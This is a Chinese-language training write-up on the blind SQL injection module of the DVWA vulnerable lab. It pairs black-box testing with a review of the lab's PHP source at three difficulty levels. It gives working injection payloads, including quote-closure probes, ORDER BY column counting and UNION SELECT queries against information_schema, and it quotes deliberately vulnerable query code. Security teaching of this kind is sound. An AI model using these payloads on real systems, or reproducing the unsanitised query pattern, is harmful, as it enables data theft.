摘要
本文通过对DVWA靶场的sql盲注漏洞进行黑盒测试与审计。
先进行黑盒测试,然后代码审计,得出盲注漏洞的产生与防御原理。
这个靶场有三个难度;low、medium、high。其中low和medium级别存在漏洞,而high级别通常修复了漏洞
文章类型:图文结合
环境搭建
虚拟机:VMFusion11.5.6专业版,使用VMFusion加载靶机的.ova
文件;
靶机百度网盘下载链接:
https://pan.baidu.com/s/1KaXy5KnXP7Td8s-3zPgalw 密码: jqq7
在Windows
系统里面通过VM系列虚拟机软件可以加载这个靶机。
接下来对靶场进行测试
low级别
黑盒测试
正常输入
输入合法参数1
,有数据回显,是get方式传参,影响参数是id
测试漏洞是否存在得出闭合类型
?id=1' and '1'='1
,语法正确,页面正常
?id=1' and '1'='2
语句语法正确,页面无内容
由此可见,闭合类型为:'
由于有数据回显,接下来尝试union联合分别查询库-表-字段
查字段数
?id=1' order by 2 --+
页面正常,有数据回显
?id=1' order by 3 --+
页面正常,无数据回显
得到字段数为:2
union查询库-表-字段
查询库名和数据库用户名:1.1' union select user(),database() --+
查询所有库名
?id= 1.1' union select 1,group_concat(schema_name) from information_schema.schemata --+
查询当前库所有表名
?id =1.1' union select 1,group_concat(table.name) from information_schema.tables where table_schema=database()--+
查询user表的所有字段
?id=1.1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
代码分析
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
从源码中也可以看出,闭合方式为'
源码中也提示了,相比之前普通的sql注入而言,去除了mysql_error()
也增加了@
进行抑制错误,在这里盲注的盲
体现在没有语句错误提示。对输入的数据并没有做安全处理。
medium
medium级别和low是差不多的并没有增加难度,区别在于闭合方式不一样
猜闭合方式
?id=1' and 1=1 --+
页面无内容说明不是单引号闭合
?id=1 and 1=1
页面正常
?id=1 and 1=2
页面无内容
其他的语句和low
级别是一样的。
源码分析
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
可以看到,相对于low
闭合方式从单引号闭合
改为了整型闭合
,其他的都没改。
high
直接上源码
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)) {
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
防御手段
is_numeric($id)
使得,$id
参数的值只能是数字或数字字符串- 使用了单引号闭合,结合
is_numeric($id)
和mysql_real_escape_string($id)
使得单引号无法闭合 - 移除了错误信息
is_numeric($id)
使得传参只能含有数字或字符串。突破is_numeric()
函数的方法是通过对payload
进行hex编码
,由于是单引号闭合,传输到mysql中的是字符串,不能起到sql语句的作用,所以无法注入。
总结
这个靶场的盲注,在原来注入靶场的基础上,增加了对mysql错误抑制的手段,以及php语句的错误隐藏。
本文到此结束,如有错误请朋友们指正。